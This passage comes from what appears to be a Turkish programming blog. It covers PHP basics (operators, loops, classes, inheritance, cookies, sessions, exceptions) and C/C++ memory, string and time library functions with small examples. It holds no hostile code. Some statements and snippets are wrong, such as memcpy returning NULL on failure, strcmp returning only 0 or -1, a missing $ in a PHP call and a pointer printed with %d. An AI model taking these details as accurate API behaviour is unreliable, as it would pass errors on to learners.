echo ($x * $y) . "<br>"; // 60
echo ($x / $y) . "<br>"; // 15
echo ($x % $y) . "<br>"; // 0

Atama Operatörleri

  • $x += $y; -> $x = $x + $y;
  • $x -= $y; -> $x = $x - $y;
  • $x *= $y; -> $x = $x * $y;
  • $x /= $y; -> $x = $x / $y;
index.php
echo ($x += $y) . "<br>"; // $x'in yeni değer 32 oldu
echo ($x -= $y) . "<br>"; // $x'in yeni değer 32 olduğundan 32 - 2 = 30. $x tekrardan 30 oldu
echo ($x *= $y) . "<br>"; // 30 * 2 den $x'in yeni değeri 60 oldu
echo ($x /= $y) . "<br>"; // 60 / 2 işlemi yapılacağından $x tekrardan 30 oldu

Karşılaştırma Operatörler

  • (==) Eşittir.
  • (!=) Değil Eşittir.
  • (<>) Değil Eşittir.
  • (<) Küçüktür.
  • (<=) Küçük Eşittir.
  • (>) Büyüktür.
  • (>=) Büyük Eşittir.
index.php
$x = 10;
$y = 20;

if($x == 10)
{
	echo "Eşittir. <br>";
}
else
{
	echo "Eşit Değildir. <br>";
}


if($x == 10)
{
	echo "10'a Eşittir. <br>";
}
else if($x == 13)
{
	echo "13'e Eşittir. <br>";
}
else
{
	echo "Eşit Değildir. <br>";
}

AND ve OR operatörleri ile birden fazla kontrol sağlaya biliriz.

  • and her iki koşulun sağlandığı durumlar da true döndürür. && olarak da kullanılır.
  • or her iki koşuldan biri bile doğru ise true döndürür. || olarak da kullanılır.
index.php
if($x >= 5 && $x <= 15)
{
	echo "5 ile 15 arasındadır. <br>";
}
else
{
	echo "değildir. <br>";
}

$str = "zeynep";
if($str == "ali" || $str == "zeynep")
{
	echo "Ya ali ya zeynep dir. <br>";
}
else
{
	echo "değildir. <br>";
}

Döngüler

$i'nin ilk değeri 0'dır, $i küçük eşit 10 koşulu sağlandığı sürece $i'yi 1 artır

index.php
for($i = 0; $i <= 10; $i++)
{
    echo "i'nin şuanki değeri : " . $i . "<br />";
}

Koşul sağlandığı sürece, yani içindeki koşulun sonucu true olduğu sürece blok içindeki işlemler yapılır.

index.php
$i = 0;
while($i <= 10)
{
    echo "a'nin şuanki değeri : " . $i . "<br />";
    $i++;
}

Koşul kontrol edilmeden önce bloktaki işlemler yapılır, sonra koşul kontrol edilir. $b 0'a eşit olduğu sürece döngünün dönmesi lazım. Daha ilk adımdan koşul sağlanmamasına rağmen, ilk önce blok çalıştığından ekrana yazı basılır.

index.php
$i = 1;
do
{
    echo "blok içindeki işlemler <br />";
}while($i == 0);

Dosya Dahil Etmek

Başka bir dosyayı 2 şekilde dahil edebiliriz.

  • require Dahil etmek istediğimiz dosya yok ise ekrana hata basıp sonraki işlemleri yapmaz.
  • include Dahil etmeye çalıştığımız dosya yok ise ekrana hata basar ve sayfaki diğer işlemleri yapmaya devam eder.
  • require_once ve include_once 1 dosya 1 den fala kez çağrılırsa sadece 1 kere çağrılmış gibi davranmasını sağlar.
index.php
require "external.php";
include "external.php";

require_once "external.php";
include_once "external.php";

Function Oluşturmak

PHP'de function aşağıdaki gibi oluşturulur.

index.php
function func1()
{
	echo "Parameresiz Func";
}

function func2()
{
	return "Parameresiz Func";
}

function func3($x, $y)
{
	echo "Sonuc: " . ($x + $y);
}

function func4($x, $y)
{
	return $x + $y;
}

Class ve Erişim Belirtecleri

  • public her yerden ulaşılabilen.
  • private sadece oluşturulduğu class içinde çağrılabilen
  • protected sadece oluşturulduğu ve miras alınan classlarda çağrılabilen
index.php
class Student
{
    private $name = "Zeynep";
    private $age = "23";

    public function getName()
	{
        echo $this->name;
    }
}

$student = new Student;
student -> getName();

Constructures

  • __construct class'tan yeni bir nesne oluşturulduğunda yapılacak işlemler
  • __destruct class sonlandığında yapılacak işlemler
index.php
class Constructure
{
    function __construct()
	{
        echo "ben doğdum <br />";
    }

    function __destruct()
	{
        echo "ben öldüm <br />";
    }
}

$const = new Constructure;

Miras Almak

index.php
class Hayvan
{
    public function nefesAl()
	{
        echo "ben enfes alıyorum <br />";
    }

    public function yemekYe()
	{
        echo "ben yemek yiyorum <br />";
    }

    public function uyu()
	{
        echo "ben uyuyorum <br />";
    }
}

class Kedi extends Hayvan
{
    private $adi;

    function __construct($gelenad)
	{
        $this->adi = $gelenad;
        echo "ben $this->adi isminde bir kediyim ve doğdum <br />";
    }

    public function kos()
	{
        echo "ben koşuyorum çünkü kediyim <br />";
    }

    function __destruct()
	{
        echo "ben $this->adi ismindeki kediydim öldüm <br />";
    }
}

class Kus extends Hayvan
{
    private $adi;

    function __construct($gelenad)
	{
        $this->adi = $gelenad;
        echo "ben $this->adi isminde bir kuşum ve doğdum <br />";
    }

    public function uc()
	{
        echo "ben uçabiliyorum çünkü kuşum <br />";
    }

    function __destruct()
	{
        echo "ben $this->adi ismindeki kuştum öldüm <br />";
    }
}

$cat = new Kedi("tekir");
$cat -> yemekYe(); 		// Hayvan class'ı miras alındığından Hayvan classının methodu kullanılabilir.
$cat -> kos(); 			// kendi class'ında bir methodu kullandı
// $cat -> uc();		// hata! kuşa ait olan bir methodu kullandı

$bird = new Kus("boncuk");
$bird -> yemekYe(); 	// Hayvan class'ı miras alındığından Hayvan classının methodu kullanılabilir.
$bird -> uc(); 			// kendi class'ında bir methodu kullandı
// $bird -> kos(); 		// hata! kediye ait olan bir methodu kullandı

Cookie ve Session Oluşturmak

Sayfada session ile işlem yapmak istiyorsam session_start(); demeliyim

Session ve Cookie, unutulmayan değişkenlerdir. Bu sayfada 1 kere tanımladıktan sonra başka sayfada istediğiniz gibi kullanabilirsiniz.

Farkları nedir:

  • Cookie, browser'ınızda tutulur. 3. parametrede unix time stamp formatı ile girilen zaman geldiğinde cookie kendini unset eder yani siler
  • Session, server'da tutulur. Browser kapatıldığında serverdaki session dosyası kendini unset eder

Cookie Oluşturmak

index.php
setcookie("bilgiler", "adim=zeynep,soyad=asd", time() + (7 * 24 * 60 * 60) );

// Anahtarı 'bilgiler' olan, içinde 'adim=zeynep,soyad=asd' değerini taşıyan ve 
// tam 1 hafta sonra bugün bu saatte yok olacak bir cookie set ettim.
echo $_COOKIE["bilgiler"] . "<br />";

Session Oluşturmak

index.php
$_SESSION["bilgiler"] = "adım = ahmet, soyadım = mehmed";

echo $_SESSION["bilgiler"] . "<br />";

Try Catch Tanımı

index.php
$str = "zeynep deneme SELECT dfsdf ,sdfsdfds ";
try
{
    if(strstr($str, "SELECT"))
	{
        throw new Exception("ismin içinde select kelimesi var");
    }
	
    echo "eğer hata yok ise, yani str değişkenin içinde SELECT kelimesi geçmiyor, yeni bir Exception oluşturulmamış ise yapılacak işlemler";
}
catch(Exception $e)
{
    echo "hata var! " . $e -> getFile() . " dosyasının " . $e -> getLine() . ". satırında yeni bir hata tespit edilmiş!. hata mesajının içeriği = " . $e -> getMessage();
}

23 Kasım 2024 Cumartesi

C/CPP - Fonksiyonlar ve Kullanım Yöntemleri #12

Kasım 23, 2024 Posted by unexpected , , No comments

memcmp

Belirlenen her iki değeri biri bir ile belirlenen karakter sayısı kadar karşılaştırır. Başarılı ise 0 değil ise -1 veya 1 değeri döner.

Syntax
int memcmp(const void* buf1, const void* buf2, size_t size);

Params

  • buf1: Sabit data değeri
  • buf2: Sabit data değeri
  • size: Karşılaştırılıcak Uzunluk
example.cpp
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
	char buffer1[] = "memcmp";
	char buffer2[] = "memcmp";
	
	printf("%d", memcmp(buffer1, buffer2, sizeof(buffer2)));
	
	return 0;
}

memcpy

Belirtilen kaynak (src) değerini hedef (dst) değerine koplayalar. Başarlı ise hedef değerini döner. Başarısız ise NULL değerini döner.

Syntax
void* memcpy(void* dst, const void* src, size_t size);

Params

  • dst: Hedef
  • src: Kaynak
  • size: Kaynak Boyutu
example.cpp
#include <stdio.h>
#include <string.h>

struct Data
{
	char name[22];
	int age;
};

int main(int argc, char** argv)
{
	char src[] = "Hello World!";
	char dest[50];
	memcpy(&dest, &src, sizeof(src));
	printf("%s -- ", dest);
	
	Data d1, d2;
	memcpy(&d1.name, &src, sizeof(src));
	d1.age = 22;
	
	memcpy(&d2, &d1, sizeof(d1));
	printf("Name: %s - Age: %d", d2.name, d2.age);
	
	return 0;
}

memset

Belitilen kaynak veya hedef (dst) içerisinde yeni bir değer ataması yapılamasını sağlar. Burada val değeri ile belirlenen yeni değeri belirttiğimiz index den önceki tüm değerleri değişir. Başarılı ise dst değerini döner.

Syntax
void* memset(void* dst, int val, size_t size);

Params

  • dst: Kaynak veya Hedef Değer
  • val: Karakter veya ASCII Değer
  • size: Index veya değişecek index değeri
example.cpp
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
	char str[] = "This is a sample memset";
	memset(str, '-', 4);
	printf("%s", str);
	
	return 0;
}

memmove

Belirlenen src değerini dst değeri içerisine belirtilen uzunluk kadar taşır. Başarılı ise dst değerini döner. Başarısız ise NULL döner.

Syntax
void* memmove(void* dst, const void* src, size_t size);

Params

  • dst: Hedef değer
  • src: Taşınacak değer
  • size: Index veya taşınacak index değeri
example.cpp
#include <stdio.h>
#include <string.h>

struct Data
{
	char name[22];
	int age;
};

int main(int argc, char** argv)
{
	char src[] = "memmove";
	
	char dest[50];
	memmove(&dest, &src, sizeof(src));
	printf("%s -- ", dest);
	
	Data d1, d2;
	memmove(&d1.name, &src, sizeof(src));
	d1.age = 22;
	
	memmove(&d2, &d1, sizeof(d1));
	printf("Name: %s - Age: %d", d2.name, d2.age);
	
	return 0;
}

memchr

Belitilen buf içerisinde verilen val değerindeki karakteri bulur. Return olarak bulunan karakterden sonraki kısmını döner.

Syntax
void* memchr(const void* buf, int val, size_t maxCount);

Params

  • buf: Kaynak Değer
  • val: Karakter veya ASCII Değer
  • size: Kaynak Uzunluk
example.cpp
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
	char* pch;
	char str[] = "memchr";
	
	pch = (char*)memchr(str, 'c', sizeof(str));
	(pch != NULL) ? printf("Found at position: %d", pch - str + 1) : printf("Not Found");
	
	return 0;
}

C/CPP - Fonksiyonlar ve Kullanım Yöntemleri #11

Kasım 23, 2024 Posted by unexpected , , No comments

strlen

Belirlenen bir char* değerinin uzunluğunu size_t olarak döner.

Syntax
size_t strlen(const char* str);

Params

  • str: String değeri
example.cpp
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
	const char* str = "This is a sample strlen";
	
	size_t len = strlen(str);
	printf("Length: %ld", len);
	
	return 0;
}

strchr

Belirlenen bir const char* değeri içinde verilen int tipindeki karakteri bulur. Başarısız ise NULL değeri döner.

Syntax
char* strchr(const char* str, int val);

Params

  • str: String değeri
  • str: Aranacak Karakter
example.cpp
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
	const char* str = "strchr";
	char* pch;
	
	pch = strchr(str, 'r');
	while(pch != NULL)
	{
		printf("Found at %d\n", pch - str + 1);
		pch = strchr(pch + 1, 'r');
	}
	
	return 0;
}

strrchr

Belirlenen bir const char* değeri içinde verilen int tipindeki karakteri bulur. Başarısız ise NULL değeri döner.

Syntax
char* strrchr(const char* _Str, int _Ch);

Params

  • str: String değeri
  • str: Aranacak Karakter
example.cpp
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
	const char* str = "strrchr";
	char* pch;
	
	pch = strrchr(str, 'r');
	while(pch != NULL)
	{
		printf("Found at %d\n", pch - str + 1);
		pch = strrchr(pch + 1, 'r');
	}
	
	return 0;
}

strdup

Verilen const char* değerini char* olarak geri döner. Başarısız ise NULL değerini döner.

Syntax
char* strdup(const char* src);

Params

  • str: String değeri
example.cpp
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
	const char* str = "This is a sample strdup";
	
	char* pch = strdup(str);
	printf("%d", pch);
	
	return 0;
}

strcmp

Belirlenen her iki değeri biri bir ile karşılaştırır. Başarılı ise 0 değil ise -1 değeri döner.

Syntax
int strcmp(const char* _Str1, const char* _Str2);

Params

  • str1: Sabit string değeri
  • str2: Sabit string değeri
example.cpp
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
	char buffer1[] = "strcmp";
	char buffer2[] = "strcmp";
	
	printf("%d", strcmp(buffer1, buffer2));
	
	return 0;
}

strncmp

Belirlenen her iki değeri biri bir ile belirlenen karakter sayısı kadar karşılaştırır. Başarılı ise 0 değil ise -1 değeri döner.

Syntax
int strncmp(const char* str1, const char* str2, size_t maxCount);

Params

  • str1: Sabit string değeri
  • str2: Sabit string değeri
  • maxCount: Karşılaştırılıcak Uzunluk
example.cpp
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
	char str[][5] = {"R2D2", "C3PO", "R2A6"};
	
	for(int n = 0; n < 3; n++)
		if(!strncmp(str[n], "R2xx", 2))
			printf("Found %s\n", str[n]);
	
	return 0;
}

strncasecmp

Belirlenen her iki değeri biri bir ile belirlenen karakter sayısı kadar büyük küçük kontrolü olmaksızın karşılaştırır. Başarılı ise 0 değil ise -1 değeri döner.

Syntax
int strncasecmp(const char* str1, const char* str2, size_t maxCount);

Params

  • str1: Sabit string değeri
  • str2: Sabit string değeri
  • maxCount: Karşılaştırılıcak Uzunluk
example.cpp
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
	char str[][5] = {"R2D2", "C3PO", "R2A6"};
	
	for(int n = 0; n < 3; n++)
		if(!strncasecmp(str[n], "r2xx", 2))
			printf("Found %s\n", str[n]);
	
	return 0;
}

strcpy

Belirtilen kaynak (src) değerini hedef (dst) değerine koplayalar. Başarlı ise hedef değerini döner. Başarısız ise NULL değerini döner.

Syntax
char* strcpy(char* dest, const char* source);

Params

  • dest: Hedef değeri
  • source: Kaynak değeri
example.cpp
#include <stdio.h>
#include <string.h>

struct Data
{
	char name[22];
	int age;
};

int main(int argc, char** argv)
{
	char src[] = "strcpy";
	
	char dest[50];
	strcpy(dest, src);
	printf("%s -- ", dest);
	
	Data d1;
	strcpy(d1.name, src);
	d1.age = 22;
	
	printf("Name: %s - Age: %d", d1.name, d1.age);
	
	return 0;
}

strncpy

Belirtilen kaynak (src) değerini hedef (dst) değerine koplayalar. Başarlı ise hedef değerini döner. Başarısız ise NULL değerini döner.

Syntax
char* strncpy(char* _Dest, const char* _Source, size_t _Count);

Params

  • dest: Hedef değeri
  • source: Kaynak değeri
  • count: Kaynak Boyutu
example.cpp
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
	char src[] = "strncpy";
	
	char dest[50];
	strncpy(dest, src, sizeof(src));
	printf("%s", dest);
	
	return 0;
}

strcat

Kaynağın bir kopyasını alıp dest ile birleştirir. Dönüş olarak dest döndürülür.

Syntax
char* strcat(char* dest, const char* source);

Params

  • dest: Hedef değeri
  • source: Kaynak değeri
example.cpp
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
	char src[] = "strcat";
	char dest[50] = "--> ";
	
	strcat(dest, src);
	printf("%s", dest);
	
	return 0;
}

strncat

Kaynağın bir kopyasını alıp dest ile birleştirir. Count olarak stringin ne kadar bölümünü birleştirsin. Dönüş olarak dest döndürülür.

Syntax
char* strncat(char* dest, const char* source, size_t count);

Params

  • dest: Hedef değeri
  • source: Kaynak değeri
  • count: Kaynağın Uzunluğu
example.cpp
#include <stdio.h>
#include <string.h>

int main(int argc, char** argv)
{
	char src[] = "strncat";
	char dest[50] = "--> ";
	
	strncat(dest, src, 2);
	printf("%s", dest);
	
	return 0;
}

17 Kasım 2024 Pazar

C/CPP - Fonksiyonlar ve Kullanım Yöntemleri #10

Kasım 17, 2024 Posted by unexpected , , No comments

clock

Program tarafından tüketilen işlemci süresini döner. Saniye cinsinde görmek için CLOCKS_PER_SEC değeri ile bölünür. Başarısız durumu -1 döner.

Syntax
clock_t clock(void);

Params

  • void: Değer almaz
example.cpp
#include <time.h>

int main(int argc, char** argv)
{
	clock_t clk = clock();
	
	printf("%ld\n", clk / CLOCKS_PER_SEC);
	
	return 0;
}

time

Geçerli Takvimi ve saati unix timestamp olarak verir. Başarısız drumunda -1 değerini döner.

Syntax
time_t time(time_t* time);

Params

  • time: Buffer değeri
example.cpp
#include <time.h>

int main(int argc, char** argv)
{
	time_t t1, t2;
	
	t2 = time(&t1);
	
	printf("%ld %ld\n", t1, t2);
	printf("%ld", time(NULL));
	
	return 0;
}

difftime

Başlangıç ve bitiş arasındaki saniyeyi döner.

Syntax
double difftime(time_t time1, time_t time2);

Params

  • time1: 1. Zaman değeri
  • time2: 2. Zaman değeri
example.cpp
#include <time.h>

int main(int argc, char** argv)
{
	time_t now, end;
	
	time(&now);
	time(&end);
	
	double dif = difftime(now, end);
	printf("%f", dif);
	
	return 0;
}

localtime

Timestamp değerinden yerel zamanı döner.

Syntax
struct tm* localtime(const time_t* time);

Params

  • time: Zaman değeri
example.cpp
#include <time.h>

int main(int argc, char** argv)
{
	time_t timer;
	struct tm* timeinfo;
	
	time(&timer);
	timeinfo = localtime(&timer);
	
	printf("Sec: %d\n", timeinfo->tm_sec);
	printf("Min: %d\n", timeinfo->tm_min);
	printf("Hour: %d\n", timeinfo->tm_hour);
	printf("Day: %d\n", timeinfo->tm_mday);
	printf("Ay: %d\n", timeinfo->tm_mon);
	printf("Year: %d\n", timeinfo->tm_year);
	printf("Week Day: %d\n", timeinfo->tm_wday);
	printf("Year Day: %d\n", timeinfo->tm_yday);
	printf("%d", timeinfo->tm_isdst);
	
	return 0;
}

mktime

Struct tipindeki değeri timestamp olarak dönüştürür.

Syntax
time_t mktime(struct tm* time);

Params

  • time: Zaman değeri
example.cpp
#include <time.h>

int main(int argc, char** argv)
{
	time_t now;
	struct tm* newyear;
	
	time(&now);
	newyear = localtime(&now);
	
	printf("%ld", mktime(newyear));
	
	return 0;
}